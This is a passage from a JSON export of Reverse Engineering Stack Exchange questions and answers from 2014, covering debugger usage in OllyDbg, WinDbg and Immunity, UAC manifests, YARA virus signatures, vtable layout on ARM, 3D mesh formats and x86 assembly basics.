PTR DS:[EAX+ECX*2+14], DX\n010025AA       MOV     WORD PTR DS:[ECX+EAX*2+14], DX\n0100404D       MOV     WORD PTR SS:[EBP+EAX*2-74], BX\n010056E0       MOV     WORD PTR SS:[EBP+8], AX\n010056F4       MOV     WORD PTR SS:[EBP+A], BX\n01012475 calc  PUSH    70                              (Initial CPU selection)\n</code></pre>\n\n<p><strong>edit to address comment</strong></p>\n\n<p>you <code>dont need the WORD ptr</code> simply doing<br>\n<strong>mov [R32+CONST] ,R16</strong><br>\nwill fetch the same results<br>\nollydbg <code>implicitly knows R!6 means word ptr</code> instead of R16<br>\nif you provide <code>r32</code> ollydbg will decode it as <code>DWORD PTR</code></p>\n\n<pre><code>Found sequences, item 1\n Address=010017E7\n Disassembly=MOV     DWORD PTR SS:[EBP-2C], ESI\n</code></pre>\n\n<p>provide <code>mov [CONST} , R8</code>  and you get back <code>all BYTE PTR</code> Sequences</p>\n\n<pre><code>Found sequences, item 1\n Address=0100AC75\n Disassembly=MOV     BYTE PTR DS:[ftrueinfinite], BL\n</code></pre>\n"
    },
    {
        "Id": "4381",
        "CreationDate": "2014-05-20T03:56:17.213",
        "Body": "<p>Whenever I save an executable in OllyDBG (Right-click, Copy to executable, All modifications then Save File), the saved executable asks for administrator privileges when I run it.</p>\n\n<p>I tried opening OllyDBG as a regular user and then saving the file, but no luck. I also tried manipulating the file's permissions, but no luck either.</p>\n\n<p>Is there a way to save a file so that regular users can run it?</p>\n",
        "Title": "OllyDBG causes executables saved by it to ask for administrator privileges when run",
        "Tags": "|ollydbg|executable|",
        "Answer": "<p>UAC has certain heuristics that will cause a file to request elevation unless a manifest exists that states otherwise. Such heuristics include files that seem to be setup programs for some software. But there are more heuristics and other situations where elevation is assumed to be required.</p>\n\n<p>If the executable has no manifest, you need to add one. Otherwise you may have to modify the existing one.</p>\n\n<p>You can tell by loading it into a resource editor or resource viewer such as:</p>\n\n<ul>\n<li><a href=\"http://www.angusj.com/resourcehacker/\" rel=\"nofollow noreferrer\">http://www.angusj.com/resourcehacker/</a></li>\n<li><a href=\"http://www.resedit.net/\" rel=\"nofollow noreferrer\">http://www.resedit.net/</a></li>\n</ul>\n\n<p>... and so on. Check out the answers to this question: <a href=\"https://reverseengineering.stackexchange.com/q/2319\">Freely available resource hacking applications</a> ...</p>\n\n<h3>Workarounds are:</h3>\n\n<ul>\n<li>this can be done by setting the value <code>level=\"asInvoker\"</code> in element <code>requestedExecutionLevel</code> of the manifest (see <a href=\"https://superuser.com/questions/24631/prevent-elevation-uac-for-an-application-that-doesnt-need-it\">here</a> and more generally <a href=\"http://msdn.microsoft.com/en-us/library/aa905330.aspx\" rel=\"nofollow noreferrer\">here</a> and <a href=\"http://www.codeproject.com/Articles/17968/Making-Your-Application-UAC-Aware\" rel=\"nofollow noreferrer\">here</a>)</li>\n<li>or if you don't have the requirement that the file be saved and can instead provide a script to launch it, you can set an environment variable (<code>set __COMPAT_LAYER=RUNASINVOKER</code>) as explained <a href=\"https://superuser.com/a/450503\">here</a></li>\n</ul>\n\n<p>Unfortunately this is somewhat of a science to get right.</p>\n"
    },
    {
        "Id": "4384",
        "CreationDate": "2014-05-20T10:22:15.640",
        "Body": "<p>I want to break the debugee as it opens a known file, using <code>windbg</code>. As <code>$scmp</code> doesn't accept direct address, I have to use <code>as</code> (<code>windbg</code> alias command). So, I put a conditional breakpoint at <code>CreateFileA</code>:</p>\n\n<pre><code>bu Kernel32!CreateFileA \"as /ma ${/v:fName} poi(esp+4);.echo ${fName};...;g\"\n</code></pre>\n\n<p>It always prints the same (first) file name. I also tried script files</p>\n\n<pre><code>bu ... \"$&gt;&lt; bpCmd\"\nbu ... \"$$&gt;&lt; bpCmd\"\n</code></pre>\n\n<p><em><code>bpCmd</code> content:</em></p>\n\n<pre><code>as /ma ${/v:fName} poi(esp+4);\n.echo ${fName};\n...\ng;\n</code></pre>\n\n<p>It didn't work as well.</p>\n\n<p>So, why <code>as</code> doesn't work in log breakpoints?</p>\n",
        "Title": "Windbg 'as' command in log breakpoint",
        "Tags": "|windbg|",
        "Answer": "<p><code>The alias needs to be evaluated</code> <strong>everytime</strong> the break point is hit<br>\nelse it will print the old alias only<br>\nto force alias evaluation` enclose the  .echo and other commands inside a <strong>.block{}</strong> </p>\n\n<pre><code>crefil:\\&gt;dir /b\nCreateFile.cpp    \ncrefil:\\&gt;type CreateFile.cpp\n#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\nint main (void)\n{\n    PWIN32_FIND_DATA lpFindFileData = \n            (PWIN32_FIND_DATA) calloc(1 , sizeof( WIN32_FIND_DATA));\n    FILE *fp;\n    errno_t err;\n    if (lpFindFileData)\n    {\n        HANDLE hFind = FindFirstFile(\"*.*\",lpFindFileData);\n        if ( hFind != INVALID_HANDLE_VALUE )\n        {\n            do\n            {\n                printf(\"%s\\n\",lpFindFileData-&gt;cFileName);\n                if ( (err = fopen_s(&amp;fp,lpFindFileData-&gt;cFileName,\"rb\") ) == 0 )\n\n                    if (fp)\n                        fclose(fp);\n            }while( ( FindNextFile(hFind,lpFindFileData) ) != FALSE );\n            FindClose(hFind);\n            free(lpFindFileData);\n        }\n    }\n    return 0;\n}\n</code></pre>\n\n<p>as in windbg conditional breakpoint    </p>\n\n<p><strong>crefil:>cdb -c \"bp kernel32!CreateFileA \\\"as /ma ${/v:fname} poi(@esp+4);.block\n { .echo fname };gc\\\";g;q\" CreateFile.exe</strong></p>\n\n<pre><code>0:000&gt; cdb: Reading initial command 'bp kernel32!CreateFileA \"as /ma ${/v:fname}\n poi(@esp+4);.block { .echo fname };gc\";g;q'\n.\n..\nCreateFile.cpp\nCreateFile.exe\nCreateFile.obj\nCreateFile.pdb\n vc100.pdb\nquit:\n</code></pre>\n"
    },
    {
        "Id": "4393",
        "CreationDate": "2014-05-21T06:21:27.400",
        "Body": "<p>I have a problem where I have to create a virus signature for the Stoned Virus (Although this could apply to any virus/file).</p>\n\n<p>Let's assume I have a copy of the compiled and decompiled program. I then proceed to identify the most important parts of the virus, that will always be present, in the code. As I understand it I now have to find the corresponding bytes in the compiled virus in order to create a byte signature for that critical part of the virus.</p>\n\n<p>How do I proceed to find the corresponding bytes in the compiled source from the code that I identified in the decompiled version?</p>\n\n<p>Extra:</p>\n\n<ul>\n<li>The code is in assembly</li>\n<li>Simply using a hash signature for the entire file is not an option</li>\n<li>Currently I only have the assembly code, but I can always compile this</li>\n<li>I am aware that Stoned would usually be located in the boot sector and not in a file. This is only an academic exercise and would be relevant to any virus.</li>\n</ul>\n\n<p>EDIT:</p>\n\n<p>The purpose of this is to be able to create virus signatures that can be used to scan a file system to find infected files as well as possibly infected files and variations of the virus code. For this reason I cannot simply use a hash of the entire file and I need to use specific parts of the virus. I can identify those parts but I do not know how to find the matching bytes in the machine code for the viral parts I identified.</p>\n",
        "Title": "How to create a virus signature from decompiled source",
        "Tags": "|disassembly|assembly|byte-code|malware|",
        "Answer": "<p>There are a number of ways to do this. Some people new to signature scanning use MD5 hashes of the entire file. This is <em>VERY</em> flawed, due to the switching of registers or even just the timestamp of the file would change the entire signature.</p>\n\n<p>Another method often used is YARA ( <a href=\"http://plusvic.github.io/yara/\" rel=\"nofollow\">http://plusvic.github.io/yara/</a> ).\nA good example from their webpage:</p>\n\n<pre><code>rule silent_banker : banker\n{\n    meta:\n        description = \"This is just an example\"\n        thread_level = 3\n        in_the_wild = true\n\n    strings:\n        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}\n        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}\n        $c = \"UVODFRYSIHLNWPEJXQZAKCBGMT\"\n\n    condition:\n        $a or $b or $c\n}\n</code></pre>\n\n<p>Here they say that one of the A, B or C bytes should be within the file.</p>\n\n<p>Another method used (however this is more a Heuristic method) is to detect the ways it tries to hide. Eg obfuscation, encryption odd jumps (like pop, ret to jump to addresses).</p>\n\n<p>Another method used often, (although this is less signature based) is IOC, for this see: <a href=\"http://www.openioc.org/\" rel=\"nofollow\">http://www.openioc.org/</a></p>\n\n<p>I think you are looking for YARA.\nNote for writing YARA signatures, good malware/exploits authors randomize everything they can. So try to find the parts that are 'unchangeable'.</p>\n"
    },
    {
        "Id": "4394",
        "CreationDate": "2014-05-21T06:44:08.113",
        "Body": "<p>I am trying to learn actually how to get to the PEB inside of TEB. I have tried this with <code>windbg</code> but could not manage to dump the PEB with stuff like:</p>\n\n<pre><code>!peb\n</code></pre>\n\n<p>or </p>\n\n<pre><code>dt nt!_PEB_LDR_DATA\n</code></pre>\n\n<p>And others. But, I could not manage to get the PEB dumped. So also my favorite debugger is still <code>immunitydbg</code>. So, I was trying to get to the information using <code>immunitydbg</code> CLI. But the nearest thing I have managed to get to PEB is dumping the TEB.</p>\n\n<pre><code>d fs:[0]\n</code></pre>\n\n<p>So, I there anyhow someway inside of immunity do get the contents of TEB/PEB? I also tried to use the <code>Ollysdbg</code> PE Dump plugin but that only gave me another exe file with different contents. And also i am not sure if the PE Plugin does the right thing for me. </p>\n",
        "Title": "Dump TEB/PEB in immunitydbg",
        "Tags": "|windows|immunity-debugger|operating-systems|",
        "Answer": "<pre><code>alt + f1 d fs:[30] ollydbg 1.10  raw peb  \n</code></pre>\n\n<p>with <code>stolly plugin</code> for 1.10 <code>select the first byte</code> in <code>dump-&gt;right click-&gt;sructure</code> \n<code>select _peb</code>  from drop down box for decoded peb .</p>\n\n<pre><code>al+g fs:[30] in ollydbg 2.01 fully decoded _peb in dump / disasm window\n</code></pre>\n"
    },
    {
        "Id": "4398",
        "CreationDate": "2014-05-21T22:00:06.593",
        "Body": "<p>When using IDA, I can press <kbd>x</kbd> on any subroutine to see where it is called from. Eventually I end up in the <code>.data</code> section. </p>\n\n<p>But, what am I looking at when I get to this point ? </p>\n\n<p>Are these exports offered by the <code>.dll</code> that I'm looking at ? And, if I get to this point, is it safe to assume that there are no other calls to my function (with the exception of dynamically-generated and/or external calls) ? See reference image below for context.</p>\n\n<p><img src=\"https://i.stack.imgur.com/UKpsu.png\" alt=\"XRefs\"></p>\n",
        "Title": "IDA and XRefs in the .data Section",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>It's hard to tell without more context, but you're probably looking at a <a href=\"http://en.wikipedia.org/wiki/Virtual_method_table\" rel=\"nofollow noreferrer\">virtual function table (vtable)</a>. See <a href=\"https://reverseengineering.stackexchange.com/questions/3116/converting-a-virtual-table-from-rdata-into-an-ida-struct\">Converting a virtual table from .rdata into an IDA struct</a> for an example.</p>\n"
    },
    {
        "Id": "4400",
        "CreationDate": "2014-05-22T01:07:51.720",
        "Body": "<p>Does somebody knows what <code>_acmdln_dll</code> is ? I could not find any useful documentation about that. </p>\n\n<p>I am asking because I have the following line in the assembly which I try to analyze:</p>\n\n<pre><code> MOV EAX, DWORD PTR DS : [_acmdln_dll]\n</code></pre>\n\n<p>After that line I have in register <code>EAX</code> the path of the current process. So my assumption is now the <code>_acmdln_dll</code> stores somehow the path as string sequence.\nIs that true ? </p>\n\n<p>Can someone confirm that or does someone know more informations about <code>_acmdln_dll</code> ?</p>\n",
        "Title": "What does _acmdln_dll?",
        "Tags": "|disassembly|windows|x86|",
        "Answer": "<p><strong>well after rereading the original question it appears both my answer<br>\nand the answer i followed up do not give an answer to the original question<br>\noriginal question asks about acmdln_dll which is nowhere to be found in vs crt<br>\ni leave the answer as it is assuming the suffix __dll to be in code that is not native ms like from reactos here</strong></p>\n\n<p><a href=\"http://code.google.com/p/reactos-mirror/source/browse/trunk/reactos/lib/crtdll/misc/GetArgs.c?spec=svn271&amp;r=271\" rel=\"nofollow\">http://code.google.com/p/reactos-mirror/source/browse/trunk/reactos/lib/crtdll/misc/GetArgs.c?spec=svn271&amp;r=271</a></p>\n\n<p><strong>the answer below is pertinent to _acmdln without the suffix _dll see edit 3 also</strong>  </p>\n\n<p>the <code>complete source code</code> is available to you for <code>acmdln</code> if you have installed even the <code>express version of visual studio</code>.</p>\n\n<p><code>compile a simple hello world with debug info</code> <strong>/Zi</strong>  and view the source code as to what it is</p>\n\n<p>source file in crt directory of visual studio</p>\n\n<pre><code>DS:[00408018]=7C812FBD (kernel32.GetCommandLineA)\nJump from __tmainCRTStartup+9B\ncrt0.c:252.  _tcmdln = (_TSCHAR *)GetCommandLineT();\n</code></pre>\n\n<p>here is a relevent disassembly\nnotice the result of GetCommandline being moved to acmdln a global </p>\n\n<pre><code>/*\n * command line, environment, and a few other globals\n */\n\n    #ifdef WPRFLAG\n    wchar_t *_wcmdln;           /* points to wide command line */\n    #else  /* WPRFLAG */\n    char *_acmdln;              /* points to command line */\n    #endif  /* WPRFLAG */\n\n    char *_aenvptr = NULL;      /* points to environment block */\n    wchar_t *_wenvptr = NULL;   /* points to wide environment block */\n</code></pre>\n\n<p>disassembly </p>\n\n<pre><code>004014D9           CALL    newheapt._amsg_exit\n004014DE           POP     ECX\n004014DF           CALL    NEAR DWORD PTR DS:[&lt;&amp;KERNEL32.GetCommandLineA&gt;]      ; _tcmdln = (_TSCHAR *)GetCommandLineT();\n004014E5           MOV     DWORD PTR DS:[_acmdln], EAX\n004014EA           CALL    newheapt.__crtGetEnvironmentStringsA                 ; _tenvptr = (_TSCHAR *)GetEnvironmentStringsT();\n004014EF           MOV     DWORD PTR DS:[_aenvptr], EAX\n004014F4           CALL    newheapt._setargv                                    ; if ( _tsetargv() &lt; 0 )\n004014F9           TEST    EAX, EAX\n004014FB           JNS     SHORT newheapt.00401505\n004014FD           PUSH    8                                                    ; _amsg_exit(_RT_SPACEARG);\n004014FF           CALL    newheapt._amsg_exit\n00401504           POP     ECX\n00401505           CALL    newheapt._setenvp                                    ; if ( _tsetenvp() &lt; 0 )\n0040150A           TEST    EAX, EAX\n0040150C           JNS     SHORT newheapt.00401516\n0040150E           PUSH    9                                                    ; _amsg_exit(_RT_SPACEENV);\n</code></pre>\n\n<p><strong>edit 3</strong> </p>\n\n<p>from a general search it seems that this is defined in crtdll.dll </p>\n\n<pre><code>C:\\WINDOWS\\system32&gt;grep -rs _acmdln_dll *\nBinary file crtdll.dll matches\nBinary file dllcache/crtdll.dll matches\n^C\nC:\\WINDOWS\\system32&gt;\n</code></pre>\n\n<p>loading the dll in ollydbg _acmdln_dll is exactly same as _acmdln</p>\n\n<pre><code>73D91D02                   |&gt; \\FF15 4410&gt;CALL    NEAR DWORD PTR DS:[&lt;&amp;KERNEL32.GetCommandLineA&gt;]      ; [GetCommandLineA\n73D91D08                   |.  A3 CC3EDB&gt;MOV     DWORD PTR DS:[_acmdln_dll], EAX\n73D91D0D                   |.  FF15 4010&gt;CALL    NEAR DWORD PTR DS:[&lt;&amp;KERNEL32.GetEnvironmentStrings&gt;&gt;; [GetEnvironmentStrings\n73D91D13                   |.  A3 D03EDB&gt;MOV     DWORD PTR DS:[73DB3ED0], EAX\n73D91D18                   |.  FF15 0411&gt;CALL    NEAR DWORD PTR DS:[&lt;&amp;KERNEL32.GetVersion&gt;]           ;  kernel32.GetVersion\n</code></pre>\n\n<p>and this crtdll.dll seems to be from an older windows sdk a brief google yields one page which alludes crtdll.lib belonging to windows sdk 3.5 era</p>\n\n<p><a href=\"http://support.microsoft.com/kb/94248\" rel=\"nofollow\">http://support.microsoft.com/kb/94248</a></p>\n"
    },
    {
        "Id": "4402",
        "CreationDate": "2014-05-22T07:17:33.703",
        "Body": "<p>In the disassembler output (ARM) I see:</p>\n\n<pre><code>    BLX _Znwj\n</code></pre>\n\n<p>where <code>BLX</code> is ARM procedure call and <code>_Znwj</code> is demangled as</p>\n\n<pre><code>$ c++filt  _Znwj\noperator new(unsigned int)\n</code></pre>\n\n<p>What does that <code>operator new</code> do? Is it <code>new</code> or <code>new[]</code>?\nWhat type does it return?\nHow do I explicitly call it from C++, something in the <code>operator+(a,b)</code> style?</p>\n\n<p>(I know that it is possible to define <code>operator new</code> in a class, but this looks a bit different.)</p>\n",
        "Title": "What is operator new(unsigned int)?",
        "Tags": "|disassembly|c++|gcc|",
        "Answer": "<p>This is called \"placement <code>new</code>\" and was introduced in C++03.  The way it works is that one can have, say a C++ class around a set of hardware registers and then use <em>placement <code>new</code></em> to put the class exactly atop those hardware registers.  For example, if a hardware-based hardware Random Number Generator (RNG) is defined using 32-bit Control Register, Status Register and Data Register all starting at offset 0x50000600, you could define a class:</p>\n\n<pre><code>class RNG_class\n{\nprivate:\n  volatile uint32_t CR;  // set to 1 to enable\n  volatile uint32_t SR;  // low bit set when next num available\n  volatile uint32_t DR:\npublic;\n  RNG_class() : CR(1) {} \n  uint32_t next() { while (SR&amp;1 == 0); return DR; }\n};\n</code></pre>\n\n<p>Elsewhere, then one can instantiate this class as</p>\n\n<pre><code>RNG_class RNG* = new(0x50000600) RNG_class();\n</code></pre>\n\n<p>And one can use it as:</p>\n\n<pre><code>r = RNG-&gt;next();\n</code></pre>\n\n<p>See <a href=\"https://stackoverflow.com/questions/222557/what-uses-are-there-for-placement-new\">this question</a> for more information.</p>\n"
    },
    {
        "Id": "4428",
        "CreationDate": "2014-05-23T12:58:09.500",
        "Body": "<p>I used to think that the pointer to the Virtual Function Table (VFT, also Virtual Method Table, VMT) is the very first 32-bit word of the object binary representation.</p>\n\n<p>But now I see a VFT whose index is 13 (!!!!), that is, offset=0x34. (I write \"index\" because the code to invoke the Qt function <code>o.metaObject()</code> is <code>((func***)o)[13][0](o)</code>). OMG, what is going on? Why the VFT address is located... where?</p>\n\n<p>EDIT (after complaints that the question is unclear):</p>\n\n<p>Each object with virtual functions has a pointer to the Virtual Function Table. Usually, this is the very first 32-bit value in the object's binary representation (and may be accessed as <code>((void**)objAddr)[0]</code>). But in the example below the offset of VMT pointer is not 0! (Function names may be demangled by <a href=\"http://linux.die.net/man/1/c++filt\" rel=\"nofollow\"><code>c++filt</code></a>; for readability, the class names have been shortened to <code>Abc</code> and <code>Xyz</code>):</p>\n\n<pre><code>.text:02EF171C _ZN3XyzC2EP7QObject ; constructor Xyz::Xyz(QObject*), r0 = objAddr, r1 = QObject addr\n.text:02EF171C                 PUSH.W          {R4-R8,LR}\n.text:02EF1720                 MOV             R4, R0\n.text:02EF1722                 LDR             R5, =(_GLOBAL_OFFSET_TABLE_ - 0x02EF1730)\n.text:02EF1724                 MOV             R7, R1\n.text:02EF1726                 BL.W            _ZN4AbcdC2EP7QObject ; superclass_constructor(objAddr)\n.text:02EF172A ; ---------------------------------------------------------------------------\n.text:02EF172A                 LDR             R3, =(_ZTVN3XyzE_ptr - 0x27E4BE0) ; vtable for Xyz\n.text:02EF172C                 ADD             R5, PC ; _GLOBAL_OFFSET_TABLE_\n.text:02EF172E                 MOV             R6, R4\n.text:02EF1730                 MOV             R1, R7\n.text:02EF1732                 LDR             R3, [R5,R3] ; _ZTVN3XyzE_ptr ; pointer to vtable for Xyz\n.text:02EF1734                 ADDS            R3, #8 ; *_ptr points to the (-2)nd element of VMT\n.text:02EF1736                 STR.W           R3, [R6],#0x34 ; OOPS! the offset is 0x34 !!!\n</code></pre>\n\n<p><em>I want to be able to locate the pointer to VMT for any object,</em> but as the example above shows, the pointer to VMT is not necessarily <code>((void**)objAddr)[0]</code>.</p>\n\n<p>So the question is:</p>\n\n<p>1) <strong><em>why the VMT pointer is in the middle of the object's binary representation?</em></strong> There must be something specific about this place.</p>\n\n<p>2) <strong><em>how do I find out where the VMT pointer actually is?</em></strong> (Ideally, at run-time given the object address. I have the code to tell a valid address from an invalid one. I'm interested in GCC for Android/ARM, although techniques for different platforms may turn out to be applicable.)</p>\n\n<p>PS the code to detect a valid address on Android is:</p>\n\n<pre><code>#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\nint isValidPtr(const void*p, int len) {\n    if (!p) { return 0; }\n    int ret = 1;\n    int nullfd = open(\"/dev/random\", O_WRONLY); // does not work with /dev/null !!!\n    if (write(nullfd, p, len) &lt; 0) {\n        ret = 0; /* Not OK */\n    }\n    close(nullfd);\n    return ret;\n}\n</code></pre>\n\n<p>UPDATE</p>\n\n<p>In the following example, the VMT offset is 0:</p>\n\n<pre><code>class Base {\npublic:\n  int x,y;\n};\nclass Derived: public Base {\npublic:\n  int z;\n  Derived();\n  virtual int func();\n  virtual int func2();\n};\n</code></pre>\n\n<p>Coercion from <code>Base*</code> to <code>Derived*</code> compiles to: <code>SUBS R0, #4</code></p>\n\n<pre><code>int test3(Base*b) {\n    Derived*d = (Derived*)b;\n    int r = addDerived(*d);\n    return r;\n}\n\n ; test3(Base *)\n _Z5test3P4Base\n CBZ             R0, loc_1C7A\n SUBS            R0, #4\n B.W             _Z10addDerivedR7Derived ;\n</code></pre>\n\n<p>UPDATE2</p>\n\n<p>I tried</p>\n\n<pre><code>struct Cls2 {\n    unsigned x[13];\n    Derived d;\n    Cls2();\n};\n</code></pre>\n\n<p>and here's the disassembly:</p>\n\n<pre><code>.text:00001CE2 _ZN4Cls2C2Ev ; Cls2::Cls2(void)\n.text:00001CE2                 PUSH            {R4,LR}\n.text:00001CE4                 MOV             R4, R0\n.text:00001CE6                 ADD.W           R0, R0, #0x34\n.text:00001CEA                 BL              _ZN7DerivedC2Ev ; Derived::Derived(void)\n.text:00001CEE                 MOV             R0, R4\n.text:00001CF0                 POP             {R4,PC}\n</code></pre>\n\n<p>That is, the VFT pointer of <code>Cls2::d</code> will indeed be at offset 0x34, but there's no <code>STR.W R3,[R6],#0x34</code>, so it is not #2 suggested by Willem Hengeveld.</p>\n\n<p>BUT if we comment out the constructor,</p>\n\n<pre><code>struct Cls2 {\n    unsigned x[13];\n    Derived d;\n//    Cls2();\n};\n</code></pre>\n\n<p>in</p>\n\n<pre><code>int testCls2() {\n    Cls2 c;\n    return c.d.func2();\n}\n</code></pre>\n\n<p>we get</p>\n\n<pre><code>.text:00001C9E _Z8testCls2v\n.text:00001C9E var_18          = -0x18\n.text:00001C9E                 PUSH            {LR}\n.text:00001CA0                 SUB             SP, SP, #0x4C\n.text:00001CA2                 ADD             R0, SP, #0x50+var_18\n.text:00001CA4                 BL              _ZN7DerivedC2Ev ; Derived::Derived(void)\n.text:00001CA8                 ADD             R0, SP, #0x50+var_18\n.text:00001CAA                 BL              _ZN7Derived5func2Ev ; Derived::func2(void)\n.text:00001CAE                 ADD             SP, SP, #0x4C\n.text:00001CB0                 POP             {PC}\n</code></pre>\n\n<p>which is very similar to the original code\nBUT in my case the VMT <code>vtable for Xyz</code> is written from <code>Xyz::Xyz()</code> and not from the enclosing function.</p>\n",
        "Title": "Where the pointer to virtual function table is located?",
        "Tags": "|c++|arm|virtual-functions|gcc|",
        "Answer": "<p>The code to detect and print virtual function table pointers is:</p>\n\n<pre><code>int isIdentifier(const char* s) { // true if points to [0-9a-zA-Z_]*\\x00\n    if(!isValidPtr(s,0x10)) { return 0; }\n    if(!s[0]) { return 0; }\n    int i;\n    for (i=0; s[i] &amp;&amp; i&lt;512; i++) {\n        if( i/0x10 &amp;&amp; i%0x10 == 0 &amp;&amp; !isValidPtr(s,0x10)) { return 0; }\n        unsigned char c = s[i];\n        if ('0'&lt;=c &amp;&amp; c&lt;='9' || 'a'&lt;=c &amp;&amp; c &lt;= 'z' || 'A'&lt;=c &amp;&amp; c &lt;= 'Z' || '_' == c) {\n        } else {\n            return 0;\n        }\n    }\n    return !s[i];\n}\n\nchar* isVftPtr(void*addr) { // returns addr of mangled class name (prefix it with _Z to demangle with c++filt)\n    unsigned int* vmtaddr = isValidPtr(addr,4)\n                     &amp;&amp; 0 == (3 &amp; *(int*)addr)\n                     &amp;&amp; isValidPtr(*(int**)addr,4)\n                     ? *(unsigned int**)addr\n                     : (void*)0;\n    if (vmtaddr\n      &amp;&amp;isValidPtr(vmtaddr-2,0x20)\n     ) {\n        char**ptypeinfo = ((char***)vmtaddr)[-1];\n        if (isValidPtr(ptypeinfo,4)\n          &amp;&amp;isValidPtr((char***)ptypeinfo[0]-1,8)\n          &amp;&amp;isValidPtr(((char***)ptypeinfo[0])[-1],8)\n          &amp;&amp;isValidPtr(((char***)ptypeinfo[0])[-1][1],0x20)\n          &amp;&amp;isIdentifier(ptypeinfo[1])\n        ) {\n            return !strncmp(((char***)ptypeinfo[0])[-1][1], \"N10__cxxabiv\",12) ? ptypeinfo[1] : 0;\n        }\n    }\n    return 0;\n}\n// Usage example: printVfts(\"pThis\", pThis, -8, 0x400)\nvoid printVfts(const char*tag, void* addr, int from, int upto) {\n    void** start = addr+from;\n    void** end = addr+upto;\n    DLOG(\"{ %s ====== printVfts %p (%p..%p)\", tag, addr,start,end);\n    void**p;\n    char*n = 0;\n    for(p=addr;p&lt;end;p++) {\n        if (n = isVftPtr(p)) {\n            DLOG(\"vft at %p [off=0x%x] _Z%s\",p,(unsigned)p - (unsigned)addr, n);\n        }\n    }\n    DLOG(\"} %s ====== printVfts %p\", tag, addr);\n}\n</code></pre>\n\n<p>The code worked on Android/ARM.</p>\n\n<p>The function <code>isValidPtr()</code> is given in the question, the logging macro is given below:</p>\n\n<pre><code>#include &lt;android/log.h&gt;\n#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG  , \"~~~~~~\", __VA_ARGS__)\n#define DLOG(...) __android_log_print(ANDROID_LOG_DEBUG  , \"~~~~~~\", __VA_ARGS__)\n</code></pre>\n\n<p><strong>And, finally:</strong> <code>printVfts()</code> showed that there is another VFT pointer at offset 0.</p>\n"
    },
    {
        "Id": "4434",
        "CreationDate": "2014-05-23T16:04:07.677",
        "Body": "<p>I am reverse engineering a 3d file format for a game. I know the file is a mesh since I was able to identify the XYZ Coordinates for each vector as well as the MeshFaces. Each Vector XYZ Coordinate has 3 floats like so:</p>\n\n<p>[this is pulled from an actual file]</p>\n\n<pre><code>41FC39C0 73480640 3AC87240 6038BF3E DF545D3F E620ACBE 00000000 0000403F\n</code></pre>\n\n<p>And this is the float representation of the hex:</p>\n\n<pre><code>-2.9060214 2.0981719 3.7934709 = X Y Z\n0.37347698 0.86457628 -0.3361885 0.0 0.75 = Not sure what this this is.\n</code></pre>\n\n<p>I want to say the first 2 values could possibly be <code>tU</code>, <code>tV</code> values, but from what I know with DirectX, texture coordinates are usually between 0 and 1. Even though this file, the numbers fit between, I could bring up another file when those first 2 numbers are something like -.50 or even above 1 so I can't say they are text coordinates for sure.</p>\n\n<p>The last 3 values I have no idea.</p>\n\n<p>This 3d Mesh File is for a online game that uses a custom built DirectX 9 engine and from what I gather so far, is loosely based on Direct3D's .X file specifications.</p>\n\n<p>I am able to pull out the XYZ coordinates into a list that can be imported into Cinema 4D and I have confirmed the XYZ is accurate based on the object that is drawn. In this case, a rock.</p>\n\n<p>Here is floats for the first 3 data points within this file:</p>\n\n<pre><code>1. -2.9060214 2.0981719 3.7934709 0.37347698 0.86457628 -0.3361885 0.0 0.75\n2. -2.7679636 2.0897043 2.6395969 0.16878456 0.98563963 5.1173517e-003 0.0 0.5\n3. -2.7679636 6.2550635 2.7174740 0.20584901 -0.96193141 -0.17976092 1.0 0.5\n</code></pre>\n\n<p>From my experience with reverse engineering 3D date, if a floating point number is exponential, it most likely is being read wrong, so the '5.1173517e-003' on the 2nd line towards the end may not even be a floating point number, but then its other possible values:</p>\n\n<pre><code>INT8    117\nUINT8   117\nINT16   -20619\nUINT16  44917\nINT32   1000845173\nUINT32  1000845172\nHALF FLOAT -0.11651611\n</code></pre>\n\n<p>don't make much sense either.</p>\n",
        "Title": "What kind of data is this within this 3D mesh file format?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>I think the second vector of three floats is the <a href=\"http://en.wikipedia.org/wiki/Normal_vector\" rel=\"nofollow\">normal vector</a>. Which is basically the front facing direction of the vertex. It looks like the length is 1 so it's normalized which would correspond well with what you'd expect of a normal vector. The last two I believe are <a href=\"http://en.wikipedia.org/wiki/UV_mapping\" rel=\"nofollow\">UV mapping</a> coordinates for texturing but it's hard to be positive without full data files.</p>\n"
    },
    {
        "Id": "4436",
        "CreationDate": "2014-05-23T23:44:57.003",
        "Body": "<p>I wanted to know if a jump instruction as <code>JE</code> must directly follow to a <code>CMP</code> instruction. Until now, I did always see that first a <code>CMP</code> comes and after that a <code>JMP</code>. But today I have discover the following:</p>\n\n<pre><code>...\nCMP DWORD PTR SS:[EBP+0xC], EAX\nMOV ECX, DWORD PTR SS:[EBP+0x18]\nPUSH ESI\nMOV ECX, DWORD PTR SS:[EBP+0x18]\nMOV DWORD PTR SS:[ECX],EAX \nMOV EAX, DWORD PTR SS:[EBP+0x10]\nMOV DWORD PTR SS:[EDI], 0x1\nJE SHORT crtdll.6C250E66\n....\n</code></pre>\n\n<p>First of all, I am beginner. So, I try to understand the assembly language. Logically, I would say that the <code>JE</code> instruction is related to the <code>CMP</code> instruction at the beginning of that sequence. </p>\n\n<p>So, my self-explanation was that we first compare, then do some <code>MOV</code> and <code>PUSH</code> operations, after that all we are jumping, is that right?</p>\n\n<p>But, as I mentioned above, normally the jump comes in the next line after the comparison, could one say the reason for that late jump instruction here ? Or is it normal ?</p>\n",
        "Title": "Does a JE must follow directly to an CMP?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>JE checks the zero flag (ZF). So as long as ZF is not modified you can jump any time you want. The same to other jump instructions</p>\n"
    },
    {
        "Id": "4448",
        "CreationDate": "2014-05-25T20:20:23.200",
        "Body": "<p>Modern exploits use different techniques to bypass ASLR. One of the technique used in some IE exploits is to leak memory using a BSTR overwrite.</p>\n\n<p>How can an attacker leak memory, and how can he use it to effectively bypass ASLR?</p>\n",
        "Title": "Reading Memory to bypass ASLR",
        "Tags": "|exploit|vulnerability-analysis|",
        "Answer": "<p>Use <code>GetModuleHandle()</code> to get the base address of the module and the offset.\nThe offset is just <code>current address - base address</code>.</p>\n"
    },
    {
        "Id": "4453",
        "CreationDate": "2014-05-26T15:14:14.387",
